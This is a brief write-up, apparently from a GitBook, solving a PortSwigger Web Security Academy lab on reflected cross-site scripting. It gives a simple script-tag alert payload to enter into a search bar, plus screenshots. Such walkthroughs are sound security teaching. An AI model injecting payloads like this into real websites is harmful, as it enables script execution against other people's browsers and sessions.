---
description: >-
  https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded
---

# Reflected XSS into HTML context with nothing encoded

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FKmGtlO4t9KVW5zihQYqx%2F1.png?alt=media&#x26;token=e703bad2-d4db-4ba0-94e4-b0b2e6587ece" alt=""><figcaption></figcaption></figure>

Let's enter the following payload into the search bar:

```
<script>alert("1");</script>
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FbK5mgGi6mz0alelt6Wjf%2F2.png?alt=media&#x26;token=b929f934-11b2-44b6-9a73-782da6a99cc6" alt=""><figcaption></figcaption></figure>

We have solved the lab

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FcDIcr48VUPGYcvBDxu4I%2F3.png?alt=media&#x26;token=965a0224-3a58-4768-9f67-40c10692aedf" alt=""><figcaption></figcaption></figure>
